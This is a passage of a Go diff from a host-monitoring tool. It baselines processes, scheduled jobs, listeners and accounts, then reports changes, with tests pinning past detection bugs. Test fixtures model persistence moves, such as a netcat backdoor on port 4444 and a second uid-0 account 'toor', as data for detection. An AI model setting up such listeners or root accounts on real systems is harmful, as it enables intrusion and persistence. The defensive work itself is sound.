// ── the op ──────────────────────────────────────────────────────────────────
|
||||
|
||||
// cmdObserveBaseline takes the accounting and writes it.
|
||||
//
|
||||
// ROOT, for the same reason claim-anchor is: a baseline taken by one user
|
||||
// records only that user's view of the machine, and a detection story built on
|
||||
// a partial accounting reports every other account's ordinary work as new. The
|
||||
// refusal names what a non-root run would miss instead of only saying no.
|
||||
// collectBaseline builds the accounting. Split out of cmdObserveBaseline so a
|
||||
// test can hold THE WIRING — which source the baseline is built from — and not
|
||||
// only that two sources differ. A mutation that pointed this back at the
|
||||
// signature-filtered plane passed a test that compared the two functions
|
||||
// directly, because nothing exercised the choice between them.
|
||||
func collectBaseline() (baselineFile, int, int, bool, error) {
|
||||
// EVERYTHING, where the platform can walk it. A baseline built from the
|
||||
// signature-filtered plane could only ever contain things already
|
||||
// recognised as agents, which makes "not baseline" unable to mean the one
|
||||
// thing it has to mean (baseline_all_linux.go says the rest).
|
||||
obs, complete, err := baselineWalk()
|
||||
if err != nil {
|
||||
// REFUSED, not taken blind. An accounting built from a walk that did
|
||||
// not happen would record nothing as normal and be labelled as if it
|
||||
// had looked; the user is told to run it again.
|
||||
return baselineFile{}, 0, 0, false, fmt.Errorf("no baseline taken: the process walk "+
|
||||
"failed (%v). An accounting from a walk that did not happen would record "+
|
||||
"nothing as normal here; run it again", err)
|
||||
}
|
||||
// Fresh digests, never the delta's cache: taking an accounting is the one
|
||||
// act that defines what everything afterwards is compared against, and it
|
||||
// happens once per machine. It pays full price on purpose.
|
||||
entries, unreadable := baselineFromObservations(obs, baselineExeDigest)
|
||||
// THE UNFILTERED INVENTORY, for the same reason the processes are.
|
||||
// scanSchedulers() returns matchScheduled(), which keeps only entries that
|
||||
// would run a RECOGNISED agent or automation (schedulers.go:387-398).
|
||||
// Measured on this box: 68 standing jobs discovered, 0 surviving that
|
||||
// filter — so the baseline recorded "0 scheduled jobs" while 68 existed,
|
||||
// and a post-baseline cron job running an unrecognised command, which is
|
||||
// the canonical persistence move, would never have been compared against
|
||||
// anything. Same defect as the process half, in the half that was
|
||||
// missed the first time.
|
||||
rawSched, schedKinds, schedSupported := platformSchedulers()
|
||||
sched := rawSched
|
||||
schedScan := schedScanReport{Supported: schedSupported, Kinds: schedKinds,
|
||||
Entries: len(rawSched)}
|
||||
entries = append(entries, baselineFromSchedulers(sched)...)
|
||||
// LISTENERS AND IDENTITIES, the two classes added after the first two. Both go through
|
||||
// the same constructors the live scan uses, for the reason
|
||||
// deltaCollectLiveFrom gives at length: the one defect this plane has
|
||||
// already shipped twice is the accounting and the live scan folding the
|
||||
// same observations differently.
|
||||
socks, listenersOK, listenerWhy := deltaListenerReader()
|
||||
if listenersOK {
|
||||
le, _ := baselineFromListeners(socks)
|
||||
entries = append(entries, le...)
|
||||
}
|
||||
ids := deltaIdentityReader()
|
||||
if ids.Supported {
|
||||
entries = append(entries, baselineFromIdentities(ids.Accounts)...)
|
||||
}
|
||||
// WHAT THIS ACCOUNTING COULD NOT SEE, SAID WHILE IT IS BEING TAKEN. Only
|
||||
// the delta surfaced these, which is the wrong moment: taking the
|
||||
// accounting is the act that defines normal, so somebody doing it with
|
||||
// sudoers unreadable should be told THEN, not on a later pass.
|
||||
var narrow []string
|
||||
if !listenersOK && listenerWhy != "" {
|
||||
narrow = append(narrow, "listeners: "+listenerWhy)
|
||||
}
|
||||
if !ids.Supported && ids.Reason != "" {
|
||||
narrow = append(narrow, "identities: "+ids.Reason)
|
||||
} else if ids.Partial != "" {
|
||||
narrow = append(narrow, "identities: "+ids.Partial)
|
||||
}
|
||||
baselineNarrowNote = strings.Join(narrow, "; ")
|
||||
sort.Slice(entries, func(i, j int) bool { return entries[i].FP < entries[j].FP })
|
||||
return baselineFile{
|
||||
Version: baselineVersion,
|
||||
TakenAt: time.Now().UTC().Format(time.RFC3339),
|
||||
BastionDigest: selfDigest(),
|
||||
BastionVersion: clientVersion,
|
||||
Mode: boxMode(),
|
||||
Coverage: baselineCoverageRead(baselineCoverage(complete, schedSupported, listenersOK, ids.Supported),
|
||||
!listenersOK && listenersReadableHere, !ids.Supported && identitiesReadableHere),
|
||||
Entries: entries,
|
||||
Unreadable: unreadable,
|
||||
}, len(obs), len(sched), schedScan.Supported, nil
|
||||
}
|
||||
|
||||
func cmdObserveBaseline(force bool) error {
|
||||
if err := requireMachineAuthority("observe:baseline"); err != nil {
|
||||
return err
|
||||
}
|
||||
if prev, ok, err := baselineLoad(); err == nil && !force {
|
||||
state := "taken " + prev.TakenAt
|
||||
if note := baselineIntegrityNote(prev, ok); note != "" {
|
||||
state += " (" + note + ")"
|
||||
}
|
||||
return fmt.Errorf("this machine already has a baseline, %s, with %d entries.\n"+
|
||||
"Taking a new one REPLACES what counts as normal here, so anything added since "+
|
||||
"becomes part of the baseline and stops being reported.\n"+
|
||||
"Run `privatae-bastion observe:baseline --force` if that is what you mean",
|
||||
state, len(prev.Entries))
|
||||
}
|
||||
f, seen, schedCount, schedOK, err := collectBaseline()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := baselineSave(f); err != nil {
|
||||
return err
|
||||
}
|
||||
what := "every process this account can see"
|
||||
if !strings.Contains(f.Coverage, "processes=all") {
|
||||
what = "the automated programs this platform's scanner recognises — NOT every " +
|
||||
"process, so a program it does not recognise is absent from this baseline " +
|
||||
"and a new one will not be reported"
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
fmt.Printf("baseline taken: %d entries from %d observations (%s) and %d scheduled jobs",
|
||||
len(f.Entries), seen, what, schedCount)
|
||||
if f.Unreadable > 0 {
|
||||
fmt.Printf(", %d of them without a readable executable", f.Unreadable)
|
||||
}
|
||||
if !schedOK {
|
||||
fmt.Printf("\n NOTE: this platform's schedulers could not be read, so standing " +
|
||||
"jobs are NOT in this baseline and a new one will not be reported")
|
||||
}
|
||||
if baselineNarrowNote != "" {
|
||||
// BEFORE THE "written to" LINE, because this is the sentence that
|
||||
// decides whether the person should take it again.
|
||||
fmt.Printf("\nTHIS ACCOUNTING IS NARROWER THAN IT LOOKS: %s\n"+
|
||||
"Whatever this machine could not read is not in what it now calls normal,\n"+
|
||||
"so a change to it will not be reported. Fix the access and take it again.\n",
|
||||
baselineNarrowNote)
|
||||
}
|
||||
saved, _, lErr := baselineLoad()
|
||||
switch {
|
||||
case lErr != nil:
|
||||
fmt.Printf("\nwritten to %s\n", p)
|
||||
case saved.Attestation != nil:
|
||||
fmt.Printf("\nwritten to %s, signed by %s's pairing key and mirrored into the machine store\n",
|
||||
p, saved.Attestation.SignedBy)
|
||||
default:
|
||||
fmt.Printf("\nwritten to %s, UNSIGNED: %s\n", p, saved.UnsignedReason)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// cmdObserveBaselineShow prints what this machine currently calls normal.
|
||||
func cmdObserveBaselineShow() error {
|
||||
f, ok, err := baselineLoad()
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return errors.New("this machine has no baseline yet — `privatae-bastion observe:baseline` " +
|
||||
"takes one (as an administrator)")
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("baseline taken %s by bastion %s, mode %s\n", f.TakenAt, f.BastionVersion, f.Mode)
|
||||
if note := baselineIntegrityNote(f, ok); note != "" {
|
||||
fmt.Printf("WARNING: %s\n", note)
|
||||
}
|
||||
// Provenance, judged the way the host judges it. Three lines a reader can
|
||||
// get: verified (and by whom), signed-but-failing (and which test failed),
|
||||
// or unsigned (and the reason the file itself records).
|
||||
switch {
|
||||
case f.Attestation != nil:
|
||||
if n := baselineAttestationNote(f); n != "" {
|
||||
fmt.Printf("WARNING: attestation: %s\n", n)
|
||||
} else {
|
||||
fmt.Printf("signed by %s's pairing key; verified against its CA and this machine's fingerprint\n",
|
||||
f.Attestation.SignedBy)
|
||||
}
|
||||
case f.UnsignedReason != "":
|
||||
fmt.Printf("unsigned: %s\n", f.UnsignedReason)
|
||||
default:
|
||||
fmt.Printf("unsigned: taken by a bastion that did not sign accountings\n")
|
||||
}
|
||||
fmt.Printf("%d entries", len(f.Entries))
|
||||
if f.Unreadable > 0 {
|
||||
fmt.Printf(", %d without a readable executable (a baseline taken without "+
|
||||
"administrator rights sees less)", f.Unreadable)
|
||||
}
|
||||
fmt.Println()
|
||||
for _, e := range f.Entries {
|
||||
who := e.Signature
|
||||
if who == "" {
|
||||
who = "(unnamed)"
|
||||
}
|
||||
d := e.ExeDigest
|
||||
if d == "" {
|
||||
d = "no digest: " + e.DigestNote
|
||||
} else {
|
||||
// shortDigest, not d[:12]. THIS PANICKED on any digest shorter than
|
||||
// twelve characters — which a real sha256 never is, and a
|
||||
// hand-edited or truncated file very much can be. So the one
|
||||
// command for inspecting an accounting you suspect of having been
|
||||
// tampered with crashed on exactly the file you would run it
|
||||
// against. Found by a test written for something else entirely.
|
||||
d = shortDigest(d)
|
||||
}
|
||||
fmt.Printf(" %s %-20s %-10s %s\n", e.FP, who, e.User, d)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
// Every process, not only the ones a signature table already recognises.
|
||||
//
|
||||
// THE DEFECT THIS FIXES DEFEATED THE FEATURE. The baseline is meant to walk
|
||||
// the box and account for every pid. It was built from
|
||||
// scanAgents(), which is signature-FILTERED — it returns a known agent binary,
|
||||
// an interpreter-wrapped agent, or a process caught talking to a model
|
||||
// (agents.go:248-252). So the accounting of "what is normal here" contained
|
||||
// only things already recognised as agents.
|
||||
//
|
||||
// Follow that through and the whole detection story collapses: a brand-new
|
||||
// unknown binary — precisely the rogue process the product exists to catch — is
|
||||
// not in the baseline, and the delta built on that baseline would never compare
|
||||
// against it either. The baseline has to hold EVERYTHING so that "not baseline"
|
||||
// can mean something; what a process IS stays a property recorded on the entry,
|
||||
// never a condition for being recorded at all.
|
||||
//
|
||||
// Found while answering a narrower review question (schedulers missing
|
||||
// from a baseline whose own Kind field documented them).
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// baselineAllProcesses returns one observation per live process, unfiltered.
|
||||
// The fields are the ones the fingerprint needs and nothing more.
|
||||
func baselineAllProcesses() ([]agentObs, bool) {
|
||||
entries, err := os.ReadDir("/proc")
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
facts := procFactsReader()
|
||||
self := os.Getpid()
|
||||
out := make([]agentObs, 0, 256)
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
pid, err := strconv.Atoi(e.Name())
|
||||
if err != nil || pid == self {
|
||||
continue
|
||||
}
|
||||
raw, err := os.ReadFile("/proc/" + e.Name() + "/cmdline")
|
||||
if err != nil || len(raw) == 0 {
|
||||
// A kernel thread has an empty cmdline. It is not a program anybody
|
||||
// installed and it cannot be a rogue agent; excluding it keeps the
|
||||
// baseline about userland without needing a name list.
|
||||
continue
|
||||
}
|
||||
argv := splitNul(raw)
|
||||
full := strings.Join(argv, " ")
|
||||
a := agentObs{
|
||||
PID: pid, User: procUser(pid), Cmdline: truncate(full, 200),
|
||||
Exe: procExe(pid), raw: full,
|
||||
}
|
||||
if f, ok := facts(pid); ok {
|
||||
a.Unit = f.Unit
|
||||
a.PPID = f.PPID
|
||||
}
|
||||
// The signature when there IS one, as a PROPERTY of the entry. An
|
||||
// unrecognised process is still recorded; it simply has no signature,
|
||||
// which is itself the interesting fact about it.
|
||||
if sig, auto, ok := matchSignature(argv); ok {
|
||||
a.Signature, a.automation = sig, auto
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, true
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !linux
|
||||
|
||||
package main
|
||||
|
||||
// Darwin and Windows do not have an unfiltered walk here yet, and the baseline
|
||||
// SAYS SO rather than quietly recording less (see cmdObserveBaseline). On those
|
||||
// platforms the accounting covers what the observe plane recognises, which is a
|
||||
// smaller truth than "every process" and is named as such in the output and in
|
||||
// the file.
|
||||
//
|
||||
// The walks exist — agents_darwin.go's psSweep and agents_windows.go's
|
||||
// Toolhelp32 snapshot both enumerate everything before filtering — so this is a
|
||||
// refactor of those two rather than new platform work.
|
||||
func baselineAllProcesses() ([]agentObs, bool) { return nil, false }
|
||||
@@ -0,0 +1,387 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
// Each defect found in the listener and identity classes, pinned. Each test name is the false
|
||||
// sentence the machine used to be able to produce.
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// `ss` installed and exiting non-zero produced Supported=true with an empty
|
||||
// table, and 54 of 54 listeners reported gone on a machine where every one was
|
||||
// up — with no note.
|
||||
func TestAFailedSocketReadIsBlindNotEmpty(t *testing.T) {
|
||||
// THE REAL listenerScan, through the real report shape. The first version
|
||||
// of this test reimplemented the branch inline and a mutation proved it
|
||||
// tested a copy: breaking listenerScan left the suite green.
|
||||
withSockets(t, socketsReport{Supported: true, Failed: "tcp: exit status 1"})
|
||||
if _, ok, why := listenerScan(); ok {
|
||||
t.Error("a failed ss reads as a readable table")
|
||||
} else if !strings.Contains(why, "could not be read") {
|
||||
t.Errorf("the reason %q does not say the box could not look", why)
|
||||
}
|
||||
// A half table is refused too, and for a reason listenerScan states: a
|
||||
// partial read must not become the definition of normal.
|
||||
withSockets(t, socketsReport{Supported: true, Partial: "udp: timeout",
|
||||
Sockets: []listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)}})
|
||||
if _, ok, _ := listenerScan(); ok {
|
||||
t.Error("half a socket table reads as a whole one")
|
||||
}
|
||||
// And a good read still works, or the two above pass on a broken reader.
|
||||
withSockets(t, socketsReport{Supported: true,
|
||||
Sockets: []listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)}})
|
||||
if got, ok, _ := listenerScan(); !ok || len(got) != 1 {
|
||||
t.Errorf("a clean socket table read as unusable: ok=%v n=%d", ok, len(got))
|
||||
}
|
||||
|
||||
// THE SHORT-LIVED RULE'S EXEMPTION USES THE SAME TABLE, and an exemption
|
||||
// that cannot be checked is not an exemption.
|
||||
withSockets(t, socketsReport{Supported: true, Failed: "tcp: exit status 1"})
|
||||
if _, ok := deltaListeningPIDs(); ok {
|
||||
t.Error("deltaListeningPIDs accepted a failed socket table")
|
||||
}
|
||||
|
||||
// And the guard then refuses to compare the class, in BOTH directions.
|
||||
known, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "0.0.0.0", 22, "sshd", 1),
|
||||
sock("tcp", "0.0.0.0", 443, "nginx", 2),
|
||||
})
|
||||
base := &baselineFile{Coverage: baselineCoverage(true, true, true, true), Entries: known}
|
||||
keptBase, keptLive, notes, _ := deltaComparableClasses(base, nil, deltaSight{Identities: true}, nil)
|
||||
for _, e := range deltaCompare(keptBase, keptLive) {
|
||||
if e.Kind == deltaListenerGone {
|
||||
t.Fatal("a blind socket read still reports every listener gone")
|
||||
}
|
||||
}
|
||||
if !strings.Contains(strings.Join(notes, " "), "could not be read on this pass") {
|
||||
t.Errorf("notes do not say the class was unreadable: %v", notes)
|
||||
}
|
||||
}
|
||||
|
||||
// The guard read the machine a SECOND time, so a reader that flipped
|
||||
// between the two reads either invented findings or discarded real ones. The
|
||||
// live entries and the comparability decision now come from one read.
|
||||
func TestTheGuardUsesTheReadThatBuiltTheLiveEntries(t *testing.T) {
|
||||
base := &baselineFile{
|
||||
Coverage: baselineCoverage(true, true, true, true),
|
||||
Entries: []baselineEntry{},
|
||||
}
|
||||
// The pass SAW listeners and found a backdoor. Under the old shape a
|
||||
// second read that failed would have thrown this away.
|
||||
found, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 4444, "nc", 9)})
|
||||
keptBase, keptLive, _, _ := deltaComparableClasses(base, liveList(found),
|
||||
deltaSight{Listeners: true, Identities: true}, nil)
|
||||
evs := deltaCompare(keptBase, keptLive)
|
||||
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
|
||||
t.Fatalf("an observed backdoor was discarded: %v", kindsOf(evs))
|
||||
}
|
||||
// And a pass that did NOT see the class does not compare it, whatever a
|
||||
// later read would have said.
|
||||
_, keptLive2, _, _ := deltaComparableClasses(base, liveList(found), deltaSight{Identities: true}, nil)
|
||||
for _, l := range keptLive2 {
|
||||
if l.Entry.Kind == "listener" {
|
||||
t.Fatal("a class the pass did not see was still compared")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// An unreadable key file fingerprinted identically to an account with no
|
||||
// keys, so the person read "authorized keys 1 → 0" — keys were removed — about
|
||||
// a box that never looked.
|
||||
func TestUnreadableKeysAreNotReportedAsKeysRemoved(t *testing.T) {
|
||||
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", AuthKeys: 1, KeyDigest: "d1"})}
|
||||
blind := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", KeysUnread: "permission denied"})}
|
||||
|
||||
if was[0].FP == blind[0].FP {
|
||||
t.Fatal("an unreadable key file fingerprints the same as no keys")
|
||||
}
|
||||
evs := deltaCompare(was, liveList(blind))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaIdentityChanged {
|
||||
t.Fatalf("want one identity_changed, got %v", kindsOf(evs))
|
||||
}
|
||||
if evs[0].Reason != deltaReasonUnreadable {
|
||||
t.Errorf("reason = %q, want %q — a visibility change, not a machine change",
|
||||
evs[0].Reason, deltaReasonUnreadable)
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaNotice {
|
||||
t.Errorf("a blind read levelled %q, want notice", got)
|
||||
}
|
||||
if w := identityChangeWords(was[0], blind[0]); !strings.Contains(w, "could not read") {
|
||||
t.Errorf("the sentence %q asserts something about the account anyway", w)
|
||||
}
|
||||
// AND THE SAME FOR SUDO. Unreadable sudo rules recorded sudo=false for
|
||||
// every account, so the next readable pass fired sudoers_changed at
|
||||
// CRITICAL for each one.
|
||||
sudoBlind := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", AuthKeys: 1, KeyDigest: "d1", SudoUnknown: true})}
|
||||
evs = deltaCompare(was, liveList(sudoBlind))
|
||||
if len(evs) != 1 || deltaLevel(evs[0]) != deltaNotice {
|
||||
t.Fatalf("unreadable sudo rules produced %v at %v, want one notice",
|
||||
kindsOf(evs), deltaLevel(evs[0]))
|
||||
}
|
||||
}
|
||||
|
||||
// `erin,dave ALL=(ALL:ALL) ALL` is ordinary sudoers. It recorded a
|
||||
// principal literally named "erin,dave" and left both accounts sudo=false — a
|
||||
// missed privilege grant, and a false critical when a name was added.
|
||||
func TestACommaSeparatedUserListNamesEveryAccountInIt(t *testing.T) {
|
||||
out, groups := map[string]bool{}, map[string]bool{}
|
||||
sudoParse([]string{
|
||||
"erin,dave ALL=(ALL:ALL) ALL",
|
||||
"%wheel,%admin ALL=(ALL) NOPASSWD: ALL",
|
||||
"root ALL=(ALL:ALL) ALL",
|
||||
"Defaults env_reset",
|
||||
"# a comment",
|
||||
}, out, groups)
|
||||
|
||||
for _, want := range []string{"erin", "dave", "root"} {
|
||||
if !out[want] {
|
||||
t.Errorf("%q is not recognised as holding sudo — a missed privilege grant", want)
|
||||
}
|
||||
}
|
||||
if out["erin,dave"] {
|
||||
t.Error("a literal \"erin,dave\" principal was recorded")
|
||||
}
|
||||
for _, want := range []string{"wheel", "admin"} {
|
||||
if !groups[want] {
|
||||
t.Errorf("group %q in a comma list was not expanded", want)
|
||||
}
|
||||
}
|
||||
if out["Defaults"] || out["#"] {
|
||||
t.Error("a Defaults or comment line produced a principal")
|
||||
}
|
||||
}
|
||||
|
||||
// A second uid-0 account is not an account, it is a root login under
|
||||
// another name — and it graded below "a key was added".
|
||||
func TestASecondRootAccountIsCritical(t *testing.T) {
|
||||
newRoot := baselineEntryOfIdentity(identityObs{Name: "toor", UID: 0, Shell: "/bin/bash"})
|
||||
ev := deltaEvent{Kind: deltaIdentityNew, Entry: newRoot}
|
||||
if got := deltaLevel(ev); got != deltaCritical {
|
||||
t.Errorf("a new uid-0 account levelled %q, want critical", got)
|
||||
}
|
||||
was := baselineEntryOfIdentity(identityObs{Name: "erin", UID: 1000, Shell: "/bin/bash"})
|
||||
now := baselineEntryOfIdentity(identityObs{Name: "erin", UID: 0, Shell: "/bin/bash"})
|
||||
ch := deltaEvent{Kind: deltaIdentityChanged, Reason: identityChangeReason(was, now), Entry: now}
|
||||
if got := deltaLevel(ch); got != deltaCritical {
|
||||
t.Errorf("an account moved to uid 0 levelled %q, want critical", got)
|
||||
}
|
||||
}
|
||||
|
||||
// `apt install postgresql` creates a service account with a login shell.
|
||||
// At high, every package install pages someone, and a plane that pages for
|
||||
// ordinary work gets ignored.
|
||||
func TestAServiceAccountFromAPackageInstallDoesNotPage(t *testing.T) {
|
||||
svc := baselineEntryOfIdentity(identityObs{Name: "postgres", UID: 114, Shell: "/bin/bash"})
|
||||
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: svc}); got != deltaWarn {
|
||||
t.Errorf("a new service account levelled %q, want warn", got)
|
||||
}
|
||||
// But a service-uid account arriving WITH sudo or keys is still the
|
||||
// persistence move, and stays critical.
|
||||
armed := baselineEntryOfIdentity(identityObs{Name: "postgres", UID: 114, Shell: "/bin/bash", Sudo: true})
|
||||
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: armed}); got != deltaCritical {
|
||||
t.Errorf("a service-uid account with sudo levelled %q, want critical", got)
|
||||
}
|
||||
// And a real person's account is unaffected.
|
||||
person := baselineEntryOfIdentity(identityObs{Name: "intern", UID: 1001, Shell: "/bin/bash"})
|
||||
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: person}); got != deltaHigh {
|
||||
t.Errorf("a new login account levelled %q, want high", got)
|
||||
}
|
||||
}
|
||||
|
||||
// 15 of 54 listeners on a real box are pinned to a specific address,
|
||||
// including a DHCP lease. Every address change was a fresh high that repeated
|
||||
// on every pass, because nothing retakes the accounting.
|
||||
func TestAReAddressedListenerIsNotGradedAsANewOne(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.1.5", 8080, "app", 5)})
|
||||
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.9.9", 8080, "app", 5)})
|
||||
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
var newEv *deltaEvent
|
||||
for i := range evs {
|
||||
if evs[i].Kind == deltaListenerNew {
|
||||
newEv = &evs[i]
|
||||
}
|
||||
}
|
||||
if newEv == nil {
|
||||
t.Fatal("a re-addressed listener produced no listener_new at all")
|
||||
}
|
||||
if newEv.Reason != deltaReasonAddressMoved {
|
||||
t.Errorf("reason = %q, want %q", newEv.Reason, deltaReasonAddressMoved)
|
||||
}
|
||||
if got := deltaLevel(*newEv); got != deltaWarn {
|
||||
t.Errorf("a DHCP re-address levelled %q, want warn", got)
|
||||
}
|
||||
|
||||
// THE EXCLUSION THAT KEEPS THE CLASS WORTH HAVING: loopback to routable is
|
||||
// the exposure change this exists to catch and must stay high.
|
||||
wasLocal, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 8080, "app", 5)})
|
||||
nowOpen, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 8080, "app", 5)})
|
||||
for _, e := range deltaCompare(wasLocal, liveList(nowOpen)) {
|
||||
if e.Kind != deltaListenerNew {
|
||||
continue
|
||||
}
|
||||
if e.Reason == deltaReasonAddressMoved {
|
||||
t.Error("loopback → routable was written off as a re-addressing")
|
||||
}
|
||||
if got := deltaLevel(e); got != deltaHigh {
|
||||
t.Errorf("a service opening itself to the network levelled %q, want high", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A `systemctl restart` landing inside a pass reported the port gone
|
||||
// immediately while the process behind it got ten minutes.
|
||||
func TestEveryClassGetsTheGraceNotJustProcessesAndSchedulers(t *testing.T) {
|
||||
for _, kind := range []string{deltaProcGone, deltaSchedGone, deltaListenerGone, deltaIdentityGone} {
|
||||
if !deltaIsGone(kind) {
|
||||
t.Errorf("%s is not treated as an absence, so it bypasses the grace", kind)
|
||||
}
|
||||
st := freshState(t)
|
||||
ev := deltaEvent{Kind: kind, FP: "fp-" + kind}
|
||||
if out := deltaApplyGrace([]deltaEvent{ev}, st, time.Now()); len(out) != 0 {
|
||||
t.Errorf("%s was reported on the FIRST scan that missed it", kind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A box with AuthorizedKeysFile pointing elsewhere recorded "no keys" for
|
||||
// everyone, silently — the class went narrow with no note.
|
||||
func TestANonDefaultAuthorizedKeysLocationIsReadAndSaidOutLoud(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
central := filepath.Join(home, "central")
|
||||
if err := os.MkdirAll(central, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(central, "erin"), []byte("ssh-ed25519 AAAAK x\n"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
keys, unread := authorizedKeysOf(home, "erin", "1000", []string{filepath.Join(central, "%u")})
|
||||
if unread != "" {
|
||||
t.Fatalf("a readable central key file reported unreadable: %s", unread)
|
||||
}
|
||||
if identityCountKeys(keys) != 1 {
|
||||
t.Errorf("central keys not read: %d", identityCountKeys(keys))
|
||||
}
|
||||
// The %u token and an absolute path both have to work, and a relative one
|
||||
// still resolves under the home.
|
||||
if got := authorizedKeysPath(".ssh/authorized_keys", "/home/erin", "erin", "1000"); got != "/home/erin/.ssh/authorized_keys" {
|
||||
t.Errorf("relative path resolved to %q", got)
|
||||
}
|
||||
if got := authorizedKeysPath("/etc/ssh/keys/%u", "/home/erin", "erin", "1000"); got != "/etc/ssh/keys/erin" {
|
||||
t.Errorf("%%u expanded to %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// A home directory that is not there is a box that did not look — an unmounted
|
||||
// /home, a network home not yet available — and reading it as "no keys" made
|
||||
// every account report authkeys_changed the moment the mount appeared.
|
||||
func TestAnAbsentHomeDirectoryIsBlindNotKeyless(t *testing.T) {
|
||||
_, unread := authorizedKeysOf("/definitely/not/here", "ghost", "1002",
|
||||
[]string{".ssh/authorized_keys", ".ssh/authorized_keys2"})
|
||||
if unread == "" {
|
||||
t.Fatal("an absent home directory read as an account with no keys")
|
||||
}
|
||||
// A home that IS there with no .ssh is genuinely none, and says nothing.
|
||||
if _, u := authorizedKeysOf(t.TempDir(), "erin", "1000",
|
||||
[]string{".ssh/authorized_keys", ".ssh/authorized_keys2"}); u != "" {
|
||||
t.Errorf("an account with no keys reported %q", u)
|
||||
}
|
||||
}
|
||||
|
||||
// withSockets points BOTH socket readers at one report — listenerScan for the
|
||||
// accounting and deltaListeningPIDs for the noise filter's exemption.
|
||||
func withSockets(t *testing.T, r socketsReport) {
|
||||
t.Helper()
|
||||
oL, oD := listenerSockets, deltaSockets
|
||||
listenerSockets = func() socketsReport { return r }
|
||||
deltaSockets = func() socketsReport { return r }
|
||||
t.Cleanup(func() { listenerSockets, deltaSockets = oL, oD })
|
||||
}
|
||||
|
||||
func withSshdConfig(t *testing.T, body string) {
|
||||
t.Helper()
|
||||
old := sshdConfigPath
|
||||
p := filepath.Join(t.TempDir(), "sshd_config")
|
||||
if body != "" {
|
||||
if err := os.WriteFile(p, []byte(body), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
sshdConfigPath = p
|
||||
t.Cleanup(func() { sshdConfigPath = old })
|
||||
}
|
||||
|
||||
// The AuthorizedKeysFile override, through the parse. A path-expansion test
|
||||
// alone exercised the EXPANSION but never the
|
||||
// sshd_config parse, so a mutation that ignored the override entirely left the
|
||||
// suite green — the class would silently narrow to the default pair.
|
||||
func TestTheAuthorizedKeysLocationComesFromSshdConfig(t *testing.T) {
|
||||
withSshdConfig(t, "Port 22\n# a comment\nAuthorizedKeysFile /etc/ssh/keys/%u\n")
|
||||
paths, note := authorizedKeysPaths()
|
||||
if len(paths) != 1 || paths[0] != "/etc/ssh/keys/%u" {
|
||||
t.Fatalf("the override was ignored: %v", paths)
|
||||
}
|
||||
if note == "" {
|
||||
t.Error("a narrowed key lookup was not said out loud at all")
|
||||
}
|
||||
// AND THE NOTE CARRIES NO PATH. It reaches deltaSummary.Note, which rides
|
||||
// the heartbeat, so the first version of it put a line of the user's own
|
||||
// sshd configuration on the wire every pass.
|
||||
if strings.Contains(note, "/etc/ssh/keys/") || strings.Contains(note, "%u") {
|
||||
t.Errorf("the note carries the user's sshd configuration off their machine: %q", note)
|
||||
}
|
||||
|
||||
// `none` means no account has keys to account for, which is a different
|
||||
// fact from "this box found none".
|
||||
withSshdConfig(t, "AuthorizedKeysFile none\n")
|
||||
if paths, note := authorizedKeysPaths(); len(paths) != 0 || !strings.Contains(note, "none") {
|
||||
t.Errorf("AuthorizedKeysFile none gave paths=%v note=%q", paths, note)
|
||||
}
|
||||
|
||||
// No sshd on the box: the default pair is the right guess and needs no note.
|
||||
withSshdConfig(t, "")
|
||||
if paths, note := authorizedKeysPaths(); len(paths) != 2 || note != "" {
|
||||
t.Errorf("a box with no sshd_config gave paths=%v note=%q", paths, note)
|
||||
}
|
||||
|
||||
// Silent by default: a stock config must not produce a note, or the note
|
||||
// stops meaning anything.
|
||||
withSshdConfig(t, "Port 22\nPermitRootLogin no\n")
|
||||
if paths, note := authorizedKeysPaths(); len(paths) != 2 || note != "" {
|
||||
